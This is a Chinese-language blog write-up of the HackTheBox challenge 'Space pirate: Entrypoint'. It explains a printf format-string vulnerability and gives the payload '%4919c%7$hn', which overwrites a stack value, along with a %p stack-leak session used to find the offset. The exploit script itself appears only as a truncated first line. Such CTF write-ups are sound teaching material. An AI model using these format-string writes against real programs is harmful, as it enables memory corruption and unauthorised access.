HackTheBox-Challenges Space pirate: Entrypoint Writeup
 
                Exploitation
直接放上題目關鍵邏輯的反編譯:
| 1 | // local variable allocation has failed, the output may be wrong! | 
上面我有先調整過一些部分,例如 v6 應該是 v5 的 pointer 才對。
然後 check_pass() 不是今天要討論的重點,漏洞部分在 printf(buf); 有 format string 可以利用,然後題目保護全開,所以我們目標是通過後面開 flag 的檢查,也就是 v5 要等於 0xdead1337,但是一開始 v5 被宣告成 0xdeadbeef,所以我們要透過 format string write 來修改後面兩個 bytes 為 0x1337。
具體 payload 我們可以用:%4919c%7$hn",各部分的解釋如下:
- %4919c%: 因為 printf 的 %n 寫入的是長度,所以如果打 0x1337 個字符會很沒有效率,這邊用 %?c 來直接決定輸入的長度也就是實際寫入得值,0x1337 的十進位是 4919。
- 然後 %7 是要寫入的位置距離現在的 offset,這個待會算給各位看
- 最後 %hn 代表的是寫入 2 個 bytes
 寫入位置的算法可以直接用 printf format string 的特性來看位置:所以 v5 的 offset 是 6,v6 的 offset 就在 7,然後我們要做的是寫入到 pointer,也就是前面說的 offset 7。1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 131. Scan card 💳 
 2. Insert password ↪️
 > 1
 [!] Scanning card.. Something is wrong!
 Insert card's serial number: %p %p %p %p %p %p %p %p %p
 Your card is: 0x7ffe036aed40 0x7f411a7ed8c0 (nil) 0xf (nil) 0xdeadbeef 0x7ffe036b13e0 0x7025207025207025 0x2520702520702520
 U
 [-] Invalid ID! Intruder detected! 🚨 🚨
Exploit
| 1 | import warnings | 
執行結果:
| 1 | └─$ python exploit.py | 
Pwned !!!

- Title: HackTheBox-Challenges Space pirate: Entrypoint Writeup
- Author: kazma
- Created at : 2024-11-05 16:25:54
- Updated at : 2025-08-20 13:53:24
- Link: https://kazma.tw/2024/11/05/HackTheBox-Challenges-Space-pirate-Entrypoint-Writeup/
- License: This work is licensed under CC BY-NC-SA 4.0.
        Comments